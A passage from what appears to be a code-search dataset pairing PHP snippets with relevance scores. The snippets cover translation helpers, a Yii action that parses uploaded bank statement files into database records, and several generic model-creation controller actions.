{\n\t\t\t\t$dictionary[$lang][strtolower($key)] = $value;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Load new dictionary\n\tif ($text == 'load' && $translateText) {\n\t\t$load_lang_po = strtolower($translateText.'.'.$lang.'-'.cfg('client.characterset').'.po');\n\t\t$load_lang_file = _CORE_FOLDER.'/core/po/'.$load_lang_po;\n\t\tif (!in_array($load_lang_po,$load) && file_exists($load_lang_file)) {\n\t\t\t$load[] = $load_lang_po;\n\t\t\tunset($dict);\n\t\t\tinclude($load_lang_file);\n\t\t\tif ($dict && is_array($dict)) {\n\t\t\t\tforeach ($dict[$lang] as $key => $value) {\n\t\t\t\t\t$dictionary[$lang][strtolower($key)] = $value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t}\n\n\t// Add array of text into dictionary\n\tif (is_array($text)) {\n\t\tforeach ($text as $lang => $v) {\n\t\t\tforeach ($v as $k => $vv) $dictionary[$lang][strtolower($k)] = $vv;\n\t\t}\n\t\treturn;\n\t}\n\n\t// Start translate text\n\t$searchKey = strtolower(strip_tags($text));\n\t$result = $lang != 'en' && $translateText ? $translateText : (is_array($dictionary[$lang]) && array_key_exists($searchKey,$dictionary[$lang]) ? $dictionary[$lang][$searchKey] : $text);\n\treturn $result;\n}", "title": "" }, { "docid": "becdbe5d3bb86a1fe1197802488f3ced", "score": "0.56361294", "text": "function trans($key = null, $replace = [], $locale = null) {\n $word = $key;\n // prepare key\n $key = strtolower($key);\n $key = str_replace(\" \", \"_\", $key);\n\n // my code for translation\n try {\n $translation = Translation::where('key', $key)->first();\n\n if ($translation) {\n $translate = (app()->getLocale() == 'ar') ? $translation->word_ar : $translation->word_en;\n\n if ($translate)\n return $translate;\n } else {\n Translation::create([\n \"key\" => $key,\n \"word_en\" => $word\n ]);\n }\n } catch (\\Exception $exc) {\n //\n }\n\n\n\n return $word;\n }", "title": "" }, { "docid": "c4ad6d2d1f489f96e131221007523853", "score": "0.5633822", "text": "public static function createTranslator(ContainerInterface $container): TranslatorContract\n {\n return $container->get(TranslationManager::class)->getTranslator();\n }", "title": "" }, { "docid": "83905b3e12ea2cc285324a14dd67a644", "score": "0.5632653", "text": "public static function get($name) {\n $target = '\\app\\lang\\\\' . LANG . '\\\\' . strtoupper(LANG) . 'Common';\n //echo $target;\n return $target::get($name);\n }", "title": "" }, { "docid": "29ae23f764a3ebfc12a1804cb203cd8a", "score": "0.5630811", "text": "public function translate(string $key, ?string $lang = null): ?string\n {\n try {\n // Validate key\n $key = strtolower($key);\n if (!preg_match('/^[a-z0-9\\.\\-\\_]+$/', $key)) {\n throw new TranslatorException('Invalid translation key');\n }\n\n // Get current language\n $language = $this->_language($lang);\n $translation = $language->get($key);\n\n if ($translation) { // Translation found\n return $translation;\n }\n\n // Fallback\n try {\n $fallback = $this->_fallback();\n } catch (LanguageException $e) {\n throw new LanguageException('[Fallback] ' . $e->getMessage());\n }\n\n if ($fallback && $fallback->name() !== $language->name()) {\n $translation = $fallback->get($key);\n if ($translation) {\n return $translation;\n }\n }\n } catch (TranslatorException $e) {\n trigger_error(sprintf('Translation error [%s]: %s', $key, $e->getMessage()), E_USER_WARNING);\n }\n\n return null;\n }", "title": "" }, { "docid": "65a8f0666c5a61e94834a35945e85ab0", "score": "0.5630556", "text": "public function load_translations(){\n $output_file = $this->get_output_file();\n if(!file_exists($output_file)){\n file_put_contents($output_file, \"<?php\\r\\n\".'$TRANSLATIONS = [];'. \"\\r\\n\");\n }\n require_once $output_file;\n if(isset($TRANSLATIONS)){\n return $TRANSLATIONS;\n }\n return [];\n }", "title": "" }, { "docid": "59a3e547c1325ac0de242da2f4c6c508", "score": "0.562543", "text": "public function translate($str){\n\t\tif(isset($this->_data[$this->_layer][$str]))\n\t\t\treturn $this->_data[$this->_layer][$str];\n\t\t//else if(DEBUG && DEBUG_LANG == Factory::getLang()->getLang())\n\t\t//$this->writeToLog($str, Factory::getLang()->getLang());\n\t\treturn $str;\n\t}", "title": "" }, { "docid": "2ec5415f3d17a2912db40182e300f576", "score": "0.56250954", "text": "public function get()\n {\n return $this->inlineTranslate;\n }", "title": "" }, { "docid": "05a520acdb7d4a922175beba98841a97", "score": "0.5623403", "text": "public function getLocale()\n {\n // Already resolved\n if (!is_null($this->locale))\n return $this->locale;\n\n // Try to load target locale\n $instance = Locale::loadFromManifest(\n $this->xdata, $this->system->getLocaleName()\n );\n\n // Remember\n $this->locale = $instance;\n return $this->locale;\n }", "title": "" }, { "docid": "f5458b891743ec1dcf99fa563d84edd3", "score": "0.56177115", "text": "public function translate()\n\t{\n\t\t// Set overriding path\n\t\t$override = \"{$this->getThemeDir()}/{$this->getNameSpace()}/languages\";\n\t\t$override = $this->applyPluginFilter('override-translate-path', $override);\n if ( File::isDir($override) ) {\n \t$override .= sprintf('/%1$s-%2$s.mo', $this->getNameSpace(), $this->getLocale());\n load_textdomain($this->getNameSpace(), $override);\n } else {\n \tload_plugin_textdomain($this->getNameSpace(), false, \"{$this->getNameSpace()}/languages\");\n }\n\t}", "title": "" }, { "docid": "874bcb4dac289541d5f9cec9c8de2910", "score": "0.56173193", "text": "public function translate(string $phrase, string $language): ?TranslatedPhrase;", "title": "" }, { "docid": "b014d5695287fdcda8ee0f326058a4b0", "score": "0.56134754", "text": "private function loadFromDB() {\n // Get all Texts with translations for the given locale\n $trans_identifier = TranslationIdentifier::select(['id', 'identifier'])->get();\n\n return $trans_identifier;\n }", "title": "" }, { "docid": "6b8eefb112e5911b866f7375edd0a412", "score": "0.56120265", "text": "public function getTranslator(Locale $locale) {\n $localeCode = $locale->getCode();\n\n if (isset($this->translators[$localeCode])) {\n return $this->translators[$localeCode];\n }\n\n return $this->translators[$localeCode] = $this->createTranslator($locale);\n }", "title": "" }, { "docid": "02918baa35c4aec5c460dbe6ae4a09ea", "score": "0.5611679", "text": "public function getTranslation($name, $module='core',$package = 'core', &$found=false) {\t\t\n\t\treturn GO()->t($name, $package, $module);\n\t}", "title": "" }, { "docid": "6787f65860d12f7278a0d3f0e8a42888", "score": "0.56101555", "text": "public function getTranslationDomain();", "title": "" }, { "docid": "aefa5ed77987f61b8c35f29c88be597a", "score": "0.5604011", "text": "function t($text)\n{\t\n\t$transFile = SimplCMS::$app->basePath. '/data/translations/'. SimplCMS::$app->locale->getLocale(SimplCMS::$app->language). '.php';\n\t\n\tif(!file_exists($transFile)) \n\t\tthrow new Exception('No translation file found');\n\t\n\t$strings = require($transFile);\n\t\n\tif(isset($strings[$text]))\n\t\treturn $strings[$text];\n\t\n\treturn $text;\n}", "title": "" }, { "docid": "284311d29780ccbdbf26faf79f16583a", "score": "0.55671847", "text": "protected function getAcronisTranslator()\n {\n return Locator::getInstance()->get(TranslatorFactory::NAME);\n }", "title": "" } ]
c47f8ed5dcc4bb1d45421bd273dadf34
Creates a new FileInfo model. If creation is successful, the browser will be redirected to the 'view' page.
[ { "docid": "40100633acdba98e9eeaa5b7cb036209", "score": "0.0", "text": "public function actionCreate()\n {\n $model = new FileInfo();\n if (Yii::$app->request->post()) {\n $getTemplate = Bank::find()->where(['id' => $_POST['FileInfo']['bank_id']])->one();\n $model->file = UploadedFile::getInstance($model, 'file');\n $fileName = $model->file->baseName;\n $model->file->saveAs('uploads/' . $fileName . '.' . $model->file->extension);\n $filePath = $fileName . '.' . $model->file->extension;\n $fp = fopen('uploads/' . $filePath, 'r') or die (\"can't open file\");\n\n $details = false;\n $position = 0;\n $needed_detail = -1;\n $detail_counter=0;\n $eee = [];\n $results = [];\n $res = [];\n while ($s = fgets($fp)) {\n\n if ($getTemplate->template == 1){\n $fields = mb_convert_encoding($s, \"utf-8\", \"windows-1251\");\n if ($details == false) {\n $patterns = array(\n \"mfo\" => \"([(]\\d{5}[)])\", //mfo\n \"main\" => \"([:\\s+]\\d{20})\", // main account\n \"inn\" => \"(ИНН:\\s+\\d{9})\", // inn\n \"date\" => \"(Изг:\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", // date\n \"interval\" => \"(Сведения о работе счета c \\d{1,2}\\.\\d{1,2}\\.\\d{4} по \\d{1,2}\\.\\d{1,2}\\.\\d{4})\" // date\n );\n foreach ($patterns as $key => $pattern) {\n preg_match($pattern, $fields, $matches, PREG_OFFSET_CAPTURE, 0);\n if ($matches) {\n $results[$key] = $matches[0][0];\n }\n }\n }\n\n //begin Asosiy contentni ichini o`qish\n if(strpos($fields,\"Дата |\")){\n $details=true;\n $position++;\n }\n if($details) $position++;\n if($details & $position>3) {\n $rrr = explode(\"|\", $fields);\n if (count($rrr) == 8) {\n if (strlen(trim($rrr[0])) == 10) {\n $needed_detail++;\n $eee[$needed_detail] = $rrr;\n } else {\n $eee[$needed_detail][0] = trim($eee[$needed_detail][0]) . ' ' . trim($rrr[0]);\n $eee[$needed_detail][1] = trim($eee[$needed_detail][1]) . ' ' . trim($rrr[1]);\n $eee[$needed_detail][2] = trim($eee[$needed_detail][2]) . ' ' . trim($rrr[2]);\n $eee[$needed_detail][3] = trim($eee[$needed_detail][3]) . ' ' . trim($rrr[3]);\n $eee[$needed_detail][4] = trim($eee[$needed_detail][4]) . ' ' . trim($rrr[4]);\n $eee[$needed_detail][5] = trim($eee[$needed_detail][5]) . ' ' . trim($rrr[5]);\n $eee[$needed_detail][6] = trim($eee[$needed_detail][6]) . ' ' . trim($rrr[6]);\n $eee[$needed_detail][7] = trim($eee[$needed_detail][7]) . ' ' . trim($rrr[7]);\n }\n }\n }\n //end Asosiy contentni ichini o`qish\n }\n//***********************************************************Read from text file********************************************************\n else if ($getTemplate->template == 2){\n if ($details == false) {\n $patterns = array(\n \"mfo\" => \"(\\d+[-])\", //mfo\n \"date\" => \"((Изг )\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", // date\n \"acc\" => \"((Счет:\\s+)\\d{20})\", //mfo\n \"inn\" => \"((ИНН:\\s)\\d{9})\", // inn\n \"interval1\" => \"((СЧЕТА за\\s+) \\d{1,2}\\.\\d{1,2}\\.\\d{4})\", // date\n \"interval2\" => \"((посл.проводки :)\\d{1,2}\\.\\d{1,2}\\.\\d{4})\" // date\n );\n foreach ($patterns as $key => $pattern) {\n preg_match($pattern, $s, $matches, PREG_OFFSET_CAPTURE, 0);\n if ($matches) {\n $results[$key] = $matches[0][0];\n }\n }\n }\n// begin Asosiy contentni ichini o`qish\n if(strpos($s,\"Корреспондент:\")){\n $details=true;\n $position++;\n }\n if($details) $position++;\n if($details & $position>3) {\n $rrr = explode(\"|\", $s);\n if (count($rrr) == 8) {\n if (strlen(trim($rrr[1])) == 10) {\n $needed_detail++;\n $eee[$needed_detail] = $rrr;\n } else {\n $eee[$needed_detail][0] = trim($eee[$needed_detail][0]) . ' ' . trim($rrr[0]);\n $eee[$needed_detail][1] = trim($eee[$needed_detail][1]) . ' ' . trim($rrr[1]);\n $eee[$needed_detail][2] = trim($eee[$needed_detail][2]) . ' ' . trim($rrr[2]);\n $eee[$needed_detail][3] = trim($eee[$needed_detail][3]) . ' ' . trim($rrr[3]);\n $eee[$needed_detail][4] = trim($eee[$needed_detail][4]) . ' ' . trim($rrr[4]);\n $eee[$needed_detail][5] = trim($eee[$needed_detail][5]) . ' ' . trim($rrr[5]);\n $eee[$needed_detail][6] = trim($eee[$needed_detail][6]) . ' ' . trim($rrr[6]);\n $eee[$needed_detail][7] = trim($eee[$needed_detail][7]) . ' ' . trim($rrr[7]);\n }\n }\n }\n// end Asosiy contentni ichini o`qish\n }\n//*******************************************************************************************************************\n else if ($getTemplate->template == 3){\n if ($details == false) {\n $patterns = array(\n \"acc\" => \"((Лицевой счет №\\s+)\\d{20})\", //acc\n \"inn\" => \"((ИНН:\\s+)\\d{9})\", // inn\n \"date\" => \"((Входящий остаток на\\s+)\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", // date\n \"interval1\" => \"((\\s+Выписка с\\s+)\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", // date\n \"interval2\" => \"((\\s+по\\s+)\\d{1,2}\\.\\d{1,2}\\.\\d{4})\" // date\n );\n foreach ($patterns as $key => $pattern) {\n preg_match($pattern, $s, $matches, PREG_OFFSET_CAPTURE, 0);\n if ($matches) {\n $results[$key] = $matches[0][0];\n }\n }\n }\n // begin Asosiy contentni ichini o`qish\n if(strpos($s,\"КОРРЕСПОНДЕНТ:\")){\n $details=true;\n $position++;\n }\n if($details) $position++;\n if($details & $position>4) {\n $rrr = explode(\"│\", $s);\n\n if (count($rrr) == 1) {\n $detail_counter=1;\n }\n\n if (count($rrr) == 8) {\n if($detail_counter==1){\n $detail_counter++;\n $needed_detail++;\n $eee[$needed_detail] = $rrr;\n }\n else {\n $detail_counter++;\n $eee[$needed_detail][0] = trim($eee[$needed_detail][0]) . ' ' . trim($rrr[0]);\n $eee[$needed_detail][1] = trim($eee[$needed_detail][1]) . ' ' . trim($rrr[1]);\n $eee[$needed_detail][2] = trim($eee[$needed_detail][2]) . ' ' . trim($rrr[2]);\n $eee[$needed_detail][3] = trim($eee[$needed_detail][3]) . ' ' . trim($rrr[3]);\n $eee[$needed_detail][4] = trim($eee[$needed_detail][4]) . ' ' . trim($rrr[4]);\n $eee[$needed_detail][5] = trim($eee[$needed_detail][5]) . ' ' . trim($rrr[5]);\n $eee[$needed_detail][6] = trim($eee[$needed_detail][6]) . ' ' . trim($rrr[6]);\n $eee[$needed_detail][7] = trim($eee[$needed_detail][7]) . ' ' . trim($rrr[7]);\n }\n }\n }\n // end Asosiy contentni ichini o`qish\n }\n//*******************************************************************************************************************\n }\n\n\n\n//***********************************************************Save to database********************************************************\n if ($getTemplate->template == 1){\n $mfo = trim(str_replace(\"(\", \"\", $results['mfo']));\n $mfo = trim(str_replace(\")\", \"\", $mfo));\n $main = trim($results['main']);\n $inn = trim(str_replace(\"ИНН:\", \"\", $results['inn']));\n $date = trim(str_replace(\"Изг:\", \"\", $results['date']));\n $interval = trim(str_replace(\"Сведения о работе счета c \", \"\", $results['interval']));\n $interval = str_replace(\" по \", \" - \", $interval);\n\n $model->bank_id = $_POST['FileInfo']['bank_id'];\n $model->bank_mfo = $mfo;\n $model->company_account = $main;\n $model->company_inn = $inn;\n $model->file_name = $filePath;\n $model->file_date = $date;\n $model->data_period = $interval;\n $model->save(false);\n $lastID = Yii::$app->db->getLastInsertID();\n\n\n foreach ($eee as $key =>$value)\n {\n $document = new Document();\n $document->file_id = $lastID;\n $patt = array(\n \"date\" => \"(\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", //mfo\n );\n\n foreach ($patt as $kk => $pp) {\n preg_match($pp, $value[0], $mm, PREG_OFFSET_CAPTURE, 0);\n if ($mm) {\n $ress[$kk] = $mm[0][0];\n }\n }\n $document->detail_date = trim($ress['date']);\n\n preg_match('/(?P<acc>\\d+)\\s+(?P<name1>\\D+)\\s+(?P<inn>\\d+)/', $value[1], $matches);\n\n $document->detail_account = $matches['acc'];\n $document->detail_inn = $matches['inn'];\n $document->detail_name ='-';// $eee[1];\n $document->detail_document_number = $value[2];\n $document->detail_mfo =$value[4];\n $debet = trim(str_replace(\",\", \"\", $value[5]));\n $debet = trim(str_replace(\".\", \",\", $debet));\n $document->detail_debet = $debet;\n $kredit = trim(str_replace(\",\", \"\", $value[6]));\n $kredit = trim(str_replace(\".\", \",\", $kredit));\n $document->detail_kredit = $kredit;\n $document->detail_purpose_of_payment =$value[7];\n $document->code_currency = '-';\n $document->contract_date = '-';\n $document->save(false);\n }\n /* END Fayl import qilish va ma`lumotlarni bazaga saqlash */\n\n }\n//*******************************************************************************************************************\n else if ($getTemplate->template == 2){\n $mfo = trim(str_replace(\"-\", \"\", $results['mfo']));\n $acc = trim(str_replace(\"Счет:\", \"\", $results['acc']));\n $date = trim(str_replace(\"Изг\", \"\", $results['date']));\n $interval1 = trim(str_replace(\"СЧЕТА за\", \"\", $results['interval1']));\n $interval2 = trim(str_replace(\"посл.проводки :\", \"\", $results['interval2']));\n $interval = $interval1.' - '.$interval2;\n\n $model->bank_id = $_POST['FileInfo']['bank_id'];\n $model->bank_mfo = $mfo;\n $model->company_account = $acc;\n $unikal = substr($acc, 10, 7);\n $company = Company::find()->where(['unical_code' => $unikal])->one();\n $model->company_inn = $company->inn;\n $model->file_name = $filePath;\n $model->file_date = $date;\n $model->data_period = $interval;\n $model->save(false);\n $lastID = Yii::$app->db->getLastInsertID();\n\n foreach ($eee as $key =>$value)\n {\n $pat = array(\n \"mfo\" => \"(\\d{5})\", //mfo\n \"acc\" => \"(\\d{20})\", //mfo\n \"inn\" => \"(\\d{9})\", //mfo\n );\n foreach ($pat as $k => $p) {\n preg_match($p, $value[4], $m, PREG_OFFSET_CAPTURE, 0);\n if ($m) {\n $res[$k] = $m[0][0];\n }\n }\n// echo \"<pre>\";\n// print_r($res);\n// echo \"</pre>\";\n\n $document = new Document();\n $document->file_id = $lastID;\n $patt = array(\n \"date\" => \"(\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", //mfo\n );\n\n foreach ($patt as $kk => $pp) {\n preg_match($pp, $value[1], $mm, PREG_OFFSET_CAPTURE, 0);\n if ($mm) {\n $ress[$kk] = $mm[0][0];\n }\n }\n $document->detail_date = $ress['date'];\n $document->detail_document_number = $value[2];\n $document->detail_inn = $res['inn'];\n $document->detail_account = $res['acc'];\n $document->detail_name ='-';\n $document->detail_mfo = $res['mfo'];\n $debet = trim(str_replace(\",\", \"\", $value[5]));\n $debet = trim(str_replace(\".\", \",\", $debet));\n $document->detail_debet = $debet;\n $kredit = trim(str_replace(\",\", \"\", $value[6]));\n $kredit = trim(str_replace(\".\", \",\", $kredit));\n $document->detail_kredit = $kredit;\n $document->detail_purpose_of_payment =$value[4];\n $document->code_currency = '-';\n $document->contract_date = '-';\n\n $document->save(false);\n }\n\n\n\n }\n//*******************************************************************************************************************\n else if ($getTemplate->template == 3){\n $acc = trim(str_replace(\"Лицевой счет №\", \"\", $results['acc']));\n $inn = trim(str_replace(\"ИНН:\", \"\", $results['inn']));\n $date = trim(str_replace(\"Входящий остаток на\", \"\", $results['date']));\n $interval1 = trim(str_replace(\"Выписка с\", \"\", $results['interval1']));\n $interval2 = trim(str_replace(\"по\", \"\", $results['interval2']));\n $interval = $interval1.' - '.$interval2;\n\n $model->bank_id = $_POST['FileInfo']['bank_id'];\n $model->bank_mfo = '00014';\n $model->company_account = $acc;\n $model->company_inn = $inn;\n $model->file_name = $filePath;\n $model->file_date = $date;\n $model->data_period = $interval;\n $model->save(false);\n $lastID = Yii::$app->db->getLastInsertID();\n\n foreach ($eee as $key =>$value)\n {\n $pat = array(\n \"mfo\" => \"((МФО:)\\d{5})\", //mfo\n \"acc\" => \"((Счет:)\\d{20})\", //mfo\n \"inn\" => \"((ИНН:)\\d{9})\", //mfo\n );\n\n foreach ($pat as $key => $p) {\n preg_match($p, $value[4], $m, PREG_OFFSET_CAPTURE, 0);\n if ($m) {\n $res[$key] = $m[0][0];\n }\n }\n\n $document=new Document();\n $document->file_id = $lastID;\n $patt = array(\n \"date\" => \"(\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", //mfo\n );\n\n foreach ($patt as $kk => $pp) {\n preg_match($pp, $value[1], $mm, PREG_OFFSET_CAPTURE, 0);\n if ($mm) {\n $ress[$kk] = $mm[0][0];\n }\n }\n $document->detail_date = trim($ress['date']);\n $document->detail_document_number = $value[2];\n $document->detail_inn = trim(str_replace(\"ИНН:\", \"\", $res['inn']));\n $document->detail_account = trim(str_replace(\"Счет:\", \"\", $res['acc']));\n $document->detail_name ='-';\n $document->detail_mfo = trim(str_replace(\"МФО:\", \"\", $res['mfo']));\n $debet = trim(str_replace(\",\", \"\", $value[5]));\n $debet = trim(str_replace(\".\", \",\", $debet));\n $document->detail_debet = $debet;\n $kredit = trim(str_replace(\",\", \"\", $value[6]));\n $kredit = trim(str_replace(\".\", \",\", $kredit));\n $document->detail_kredit = $kredit;\n $document->detail_purpose_of_payment =$value[4];\n $document->code_currency = '-';\n\n// $patte = array(\n// \"date\" => \"((от\\s+)\\d{1,2}\\.\\d{1,2}\\.\\d{4})\", //mfo\n// );\n//\n// foreach ($patte as $keyy => $pt) {\n// preg_match($pt, $value[4], $mat, PREG_OFFSET_CAPTURE, 0);\n// if ($mat) {\n// $re[$keyy] = $mat[0][0];\n// }\n// }\n// $document->contract_date = trim(str_replace(\"от\", \"\", $re['date']));\n\n $document->contract_date = '-';\n $document->save(false);\n }\n }\n }\n\n\n\n\n if ($model->load(Yii::$app->request->post())) {\n return $this->redirect(['view',\n 'id' => $model->id,\n ]);\n }\n\n return $this->renderAjax('create', [\n 'model' => $model,\n 'fileName' => $fileName,\n ]);\n }", "title": "" } ]
[ { "docid": "cdb09da98902f4f8553e534e1741b1dc", "score": "0.7448487", "text": "public function actionCreate()\n\t{\n\t\t$model=new File;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['File']))\n\t\t{\n\t\t\t$model->attributes=$_POST['File'];\n\t\t\t$model->uploaded_by = Yii::app()->user->name;\n\t\t\t$model->uploaded_date = date('Y-m-d');\n\t\t\t$model->filename = \"sample\";\n\t\t\tif($model->save())\n\t\t\t{\n\t\t\t\t$folder=ResourceActiveRecord::getFolderName($model->file_id);\n\t\t\t\tif(is_dir('upload/'.$folder))\n\t\t {\n\t\t\t $model->attributes=$_POST['Upload'];\n\t\t\t $model->filename = CUploadedFile::getInstance($model,'filename');\n\t\t\t if($model->filename->saveAs(\"upload/$folder/\" . $model->filename))\n\t\t\t {\n\t\t\t \t$this->redirect(array('view','id'=>$model->file_id));\n\t\t\t }\n\t\t }\n\t\t \t\n\t\t\t\telse {\n\t\t\t\t\t$folder=ResourceActiveRecord::getFolderName($model->file_id);\n\t\t\t\t\t\n\t\t\t \tmkdir(\"upload/\".$folder,0777);\n\t\t\t $model->attributes=$_POST['File'];\n\t\t\t\t $model->filename = CUploadedFile::getInstance($model,'filename');\n\t\t\t\t\tif($model->filename->saveAs(\"upload/$folder/\" . $model->filename))\n\t\t\t {\n\t\t\t \t$this->redirect(array('view','id'=>$model->file_id));\n\t\t\t }\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "ed64c9bc891aab537d3cd3c87b5fb047", "score": "0.7088599", "text": "public function actionCreate() {\n $model = new Uploads();\n $model->setScenario('create');\n if ($model->load(Yii::$app->request->post()) && Yii::$app->SetValues->Attributes($model)) {\n $files = UploadedFile::getInstance($model, 'upload_file');\n $model->upload_file = $files->name;\n $model->save();\n $root_path = 'uploads/common_uploads/' . $model->id;\n if (!empty($files)) {\n Yii::$app->UploadFile->UploadSingle($files, $model, $root_path);\n }\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "023a6d8e2b84cde25ac62119b603a135", "score": "0.69135576", "text": "public function create()\n {\n //\n // return view('files.create');\n }", "title": "" }, { "docid": "dbf08681db5b89bdeb5cf48c924ee1e8", "score": "0.6846435", "text": "public function actionCreate()\n {\n $model = new Information();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "e4bcdee9800889f64f078babdb5c4ed8", "score": "0.68409485", "text": "public function actionCreate()\n {\n $model = new Link();\n\n if ($model->load(Yii::$app->request->post()) && $this->upload($model) && $model->save()) {\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "a06e8e1bc59834ef59e8c324a8d646c4", "score": "0.6830664", "text": "public function create()\n {\n //\n return view('black.sys.files.create');\n }", "title": "" }, { "docid": "d135a540522e17dbdb674572137c8186", "score": "0.6812317", "text": "public function actionCreate()\n {\n $this->actionDescription = $this->createActionDescription;\n $this->model->scenario = $this->createScenario;\n\n if ($this->model->load($this->getRequest()->post())) {\n\n if (!is_null($this->uploadField))\n $this->model->{$this->uploadField} = UploadedFile::getInstance($this->model, $this->uploadField);\n\n if ($this->model->validate())\n return $this->saveFormData();\n\n }\n\n return $this->render($this->createViewFile, [\n 'model' => $this->model,\n ]);\n }", "title": "" }, { "docid": "90cc9654090be1005528397c4da506f2", "score": "0.6808306", "text": "public function actionCreate()\n {\n $model = new UploadForm();\n \n if (Yii::$app->request->isPost) {\n $model->imageFile = UploadedFile::getInstance($model, 'imageFile');\n $imageInfo = $model->upload();\n if ($imageInfo) {\n $imageModel = new Image();\n $imageModel->load($imageInfo,'');\n \n $imageModel->uid = Yii::$app->user->id;\n $imageModel->username = Yii::$app->user->identity->username;\n $imageModel->time_create = $this->formatTime;\n $imageModel->type = 0;\n $imageModel->status = 2;\n $imageModel->save(false);\n $this->redirect(['index']);\n }\n }\n return $this->render('create', ['model' => $model]);\n \n// $model = new Image();\n//\n// if ($model->load(Yii::$app->request->post()) && $model->save()) {\n// return $this->redirect(['view', 'id' => $model->id]);\n// } else {\n// return $this->render('create', [\n// 'model' => $model,\n// ]);\n// }\n }", "title": "" }, { "docid": "ab6f60279de357d84cd75c04fd6f7fe5", "score": "0.6770991", "text": "public function actionCreate()\n {\n $model=new Photo;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if(isset($_POST['Photo']))\n {\n $model->attributes=$_POST['Photo'];\n if($model->save())\n $this->redirect(array('view','id'=>$model->id));\n }\n\n $this->render('create',array(\n 'model'=>$model,\n ));\n }", "title": "" }, { "docid": "272b5d8d9fb6056b0000f2931ad27e98", "score": "0.6757302", "text": "public function actionCreate()\n {\n $this->layout = static::FORM_LAYOUT;\n $model = new $this->MainModel;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $this->afterCreate($model);\n if ($this->hasView) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->redirect(['index']);\n }\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "94a8b8e29386a7df07c370fbd4aca0ed", "score": "0.6746925", "text": "public function create()\n {\n return view('staff.file.create');\n }", "title": "" }, { "docid": "630583dfc3ddf911dec3db120da0d3ca", "score": "0.6729697", "text": "public function actionCreate()\r\n {\r\n $model = new UserModel();\r\n if(Yii::$app->request->isPost){\r\n // p(Yii::$app->request->post());die;\r\n $file = UploadedFile::getInstance($model, 'photo');\r\n }\r\n\r\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\r\n\r\n $model->updateAll(\r\n ['password_hash'=> Yii::$app->getSecurity()->generatePasswordHash($model->password_hash),'auth_key'=> Yii::$app->security->generateRandomString()],\r\n ['id'=> $model->id]\r\n );\r\n \r\n return $this->redirect(['view', 'id' => $model->id]);\r\n \r\n } else {\r\n\r\n return $this->render('create', [\r\n\r\n 'model' => $model,\r\n\r\n ]);\r\n\r\n }\r\n }", "title": "" }, { "docid": "f3eb253bbe8516517fbb2e5984223e6e", "score": "0.671543", "text": "public function actionCreate()\n\t{\n\t\t$model=new ImportFile;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['ImportFile']))\n\t\t{\n\t\t\t$model->attributes=$_POST['ImportFile'];\n\t\t\t$model->createtime=date('Y-m-d h:i:s',time());\n\t\t\t$model->status=0;//0为可以导入,1为已经导入过\n $model->site_id=Yii::app()->controller->module->getComponent('user')->site_id;//上传文件人站点id\n $model->userid=Yii::app()->controller->module->getComponent('user')->__id;//上传文件人id\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect('/srbac/import/admin');\n\t\t\t\t// $this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "a75730d198ac708054a87bf5d2918fe8", "score": "0.671004", "text": "public function actionCreate()\r\n {\r\n $model = new Photos();\r\n\r\n $post = yii::$app->request->post();\r\n \r\n if ($model->load($post) && $model->save()) {\r\n \r\n return $this->redirect(['view', 'id' => $model->id]);\r\n \r\n }else {\r\n \r\n return $this->render('create', [\r\n 'model' => $model\r\n ]);\r\n }\r\n }", "title": "" }, { "docid": "a44c6c8fe373187391724839ada2e2fe", "score": "0.6686145", "text": "public function actionCreate()\n {\n $model = new Friend();\n $model->loadDefaultValues();\n\n if ($model->load(Yii::$app->request->post())) {\n $this->upload($model);\n if($model->hasErrors())\n {\n return $this->renderError($model);\n }\n if(!$model->save())\n {\n return $this->renderError($model);\n }\n else\n {\n return $this->redirect(['index']);\n }\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "025adef2dd1d804d7540147a39aadcf1", "score": "0.6679616", "text": "public function actionCreate()\n {\t$this->changeDBPuid();\n $model = new Tracking();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "598ad2599bff7993623ea6e4bee7a1ac", "score": "0.6671041", "text": "public function actionCreate()\n {\n $model = new $this->modelClass;\n\n if ($model->load($this->_request->post()) && $model->save()) {\n return $this->redirect([$this->viewView, 'id' => $model->$this->primaryKey]);\n } else {\n return $this->render($this->createView, [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "19e0d2a85ca97c95e804e3a45de244ce", "score": "0.6666101", "text": "public function create()\n {\n return view('admin.file.create');\n }", "title": "" }, { "docid": "19e0d2a85ca97c95e804e3a45de244ce", "score": "0.6666101", "text": "public function create()\n {\n return view('admin.file.create');\n }", "title": 